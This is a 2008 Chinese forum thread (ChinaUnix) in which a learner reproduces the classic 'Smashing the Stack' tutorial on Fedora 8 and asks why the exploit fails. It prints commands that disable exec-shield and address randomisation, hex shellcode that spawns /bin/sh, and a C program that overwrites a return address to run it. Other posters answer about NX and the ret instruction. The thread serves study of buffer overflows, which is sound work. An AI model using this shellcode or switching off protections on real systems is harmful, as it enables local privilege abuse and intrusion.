免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3158 | 回复: 6
打印 上一主题 下一主题

读了Smashing The stack for fun and profit, 在自己的F8上实践遇到的问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-09-05 16:21 |只看该作者 |倒序浏览
文章很经典啊,看了好几遍才终于有点明白了

在我的F8(2.6.23.1-42)上实践了一下,root用户登陆,首先是把有关stack执行保护都关了
# /sbin/sysctl -w kernel.exec-shield=0
# /sbin/sysctl -w kernel.randomize_va_space=0

用到的shellcode如下:

void main(){
__asm__(
    "jmp .+0x23 \n"
    "popl %esi \n"
    "movl %esi,(%eax) \n"
    "leal (%eax),%ecx \n"
    "movl $0x0,%eax \n"
    "leal (%eax),%edx \n"
    "movl %esi,%ebx \n"
    "movl $0xb,%eax \n"
    "int $0x80 \n"
    "movl $0x1,%eax \n"
    "movl $0x0,%ebx \n"
    "int $0x80 \n"
    "call .-0x21 \n"
    ".string \"/bin/sh\" \n"
);

}



test.c代码如下:


char shellcode[]=
    "\xeb\x16\x5e\x89\x30\x8d\x08\x31\xc0\x8d\x10\x89\xf3\xb0\x0b\xcd"
    "\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";

void main(){
    __asm__(
        "call shellcode \n";
}


编译
#gcc -o test -ggdb test.c
允许栈执行
#execstack -s test
执行,成功! 证明我的shellcode没有问题。

在进行到testsc.c这个例子的时候,代码如下:

char shellcode[]=
    "\xeb\x16\x5e\x89\x30\x8d\x08\x31\xc0\x8d\x10\x89\xf3\xb0\x0b\xcd"
    "\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";

void main(){
    int *ret;
    ret = (int *)&ret + 7;
    *ret = (int)shellcode;

}

编译
#gcc -o testsc -ggdb testsc.c
允许栈执行
#execstack -s testsc
执行,没反应直接退出...

单步调试了一下,main() 中ret返回后可以成功跳到shellcode,并且继续执行,问题出在int 0x80好像没执行,直接就执行下去了
截了图与上一个test的作比较:附件一

在我看来寄存器内容都是基本一样,只是ecx的中指向“/bin/sh”串的地址一个是在栈里,一个是在(我也不知道是在哪,大概是.text区?),为什么int 80会执行不起来呢

我找了一些关于防止bufferflow的文档看了一下,好像问题也只能出在栈中能否执行系统调用这里,不解啊......
有没有弄过与这里相关的研究的达人来指点一下~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
另外,通过对内存中栈的内容的无数次观察,得到了一个推断:
在F8中,正常的ret地址是不起作用的,其作用的ret地址在原ret地址+16byte的地方,而这个地址是由一开始的-4(%ecx)得来的

大概画了个图:附件二
所以如果以前的栈覆盖方法是不行了,在覆盖ret地址时,必定会先盖了栈里保存的之前%ecx的地址,而最后函数执行结束后返回由-4(%ecx)得到的ret地址肯定是错的,溢出就无法继续了。
不知道我的这个说法正确不?

另外说一下,我是最近才开始看这里相关的东西的 (^_^),如果上面说的东西已经很过时了,还是希望大家能帮我指点一下,或是给些信息我去看看

int0x80 fail.png (77.55 KB, 下载次数: 21)

int0x80 fail.png

real ret.PNG (11.88 KB, 下载次数: 18)

real ret.PNG

论坛徽章:
0
2 [报告]
发表于 2008-09-05 16:55 |只看该作者
lz可以看看noexec_setup函数,以及do_page_fault时的处理,看看这个NX特性是否可以绕过。

论坛徽章:
0
3 [报告]
发表于 2008-09-05 17:04 |只看该作者
原帖由 albcamus 于 2008-9-5 16:55 发表
lz可以看看noexec_setup函数,以及do_page_fault时的处理,看看这个NX特性是否可以绕过。

linux默认是不让执行的吗?不对吧。

另外LZ想关掉NX,只要把BIOS里Execute Disable bit的设置关掉就可以了

论坛徽章:
0
4 [报告]
发表于 2008-09-05 17:11 |只看该作者

回复 #3 zx_wing 的帖子

之前在test.c里已经可以实现栈中代码执行了,但是在后面的testsc中,栈执行不能调用系统调用,前后为什么有区别?

和你说的BIOS里Execute Disable bit有什么样的关系? NX好像是需要硬件支持的,不支持的话因该没这选项巴?

论坛徽章:
0
5 [报告]
发表于 2008-09-05 17:36 |只看该作者
原帖由 wdkzdom 于 2008-9-5 17:11 发表
之前在test.c里已经可以实现栈中代码执行了,但是在后面的testsc中,栈执行不能调用系统调用,前后为什么有区别?

和你说的BIOS里Execute Disable bit有什么样的关系? NX好像是需要硬件支持的,不支持的话因 ...

如果你前面已经执行成功了,那就没有关系。现在的CPU基本都支持这个功能。
看了一下你写的东西,本来想帮你试一把,可惜第一个例子在我机器上执行就segfault,我也不想去调了。你上面提到的几个问题我可能知道,或许可以帮你debug。

>>在我看来寄存器内容都是基本一样,只是ecx的中指向“/bin/sh”串的地址一个是在栈里,一个是在(我也不知道是在哪,大概是.text区?),
>>为什么int 80会执行不起来呢
是的,这个字符串的地址会在.text段

>>我找了一些关于防止bufferflow的文档看了一下,好像问题也只能出在栈中能否执行系统调用这里,不解啊......
从硬件的角度说,能否执行int80和你把这段code放哪儿无关。


>>在F8中,正常的ret地址是不起作用的,其作用的ret地址在原ret地址+16byte的地方,而这个地址是由一开始的-4(%ecx)得来的
我想可能是你什么地方看错了,这种方法不能防止栈覆盖导致的跳转。因为ret指令执行的是:
the processor pops the return instruction pointer
(offset) from the top of the stack into the EIP register and begins program execution
at the new instruction pointer
(Intel手册2B卷)

所以覆盖的时候只要把地址放在栈顶一样可以在ret的时候跳转到你想要的地方

论坛徽章:
0
6 [报告]
发表于 2008-09-05 18:22 |只看该作者

回复 #5 zx_wing 的帖子

感谢zx_wing
>segfault 可能是因为系统差异造成的,我之前在找shellcode的跳转偏移时,用书上的方法直接计算出来的不正确,最后是试了多次的弄出来的(好像实际中没有发现4字节对齐这一说...),不过最后是在执行execstack -s testsc 以后才解决的

>ret这里我只在一些程序中观察得出,可能不是普遍现象,再上个图说明一下:
在执行ret前,esp的地址是<main+41>那里计算出来的,之后却是也会跳转进shellcode执行

我觉得这样防bufferflow很聪明,因为本来buffer的地址就很难猜测,这里有加进来了ecx使得覆盖过程多了一步,而且要求更加精确的猜测,已经使得bufferflow难度变得很BT了

testsc segment fail.png (80.52 KB, 下载次数: 23)

testsc segment fail.png

论坛徽章:
0
7 [报告]
发表于 2009-05-29 21:53 |只看该作者
最近也在看Smashing The stack for fun and profit  不过最后一个例子看的不是很懂
btw  楼上那是啥工具啊
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP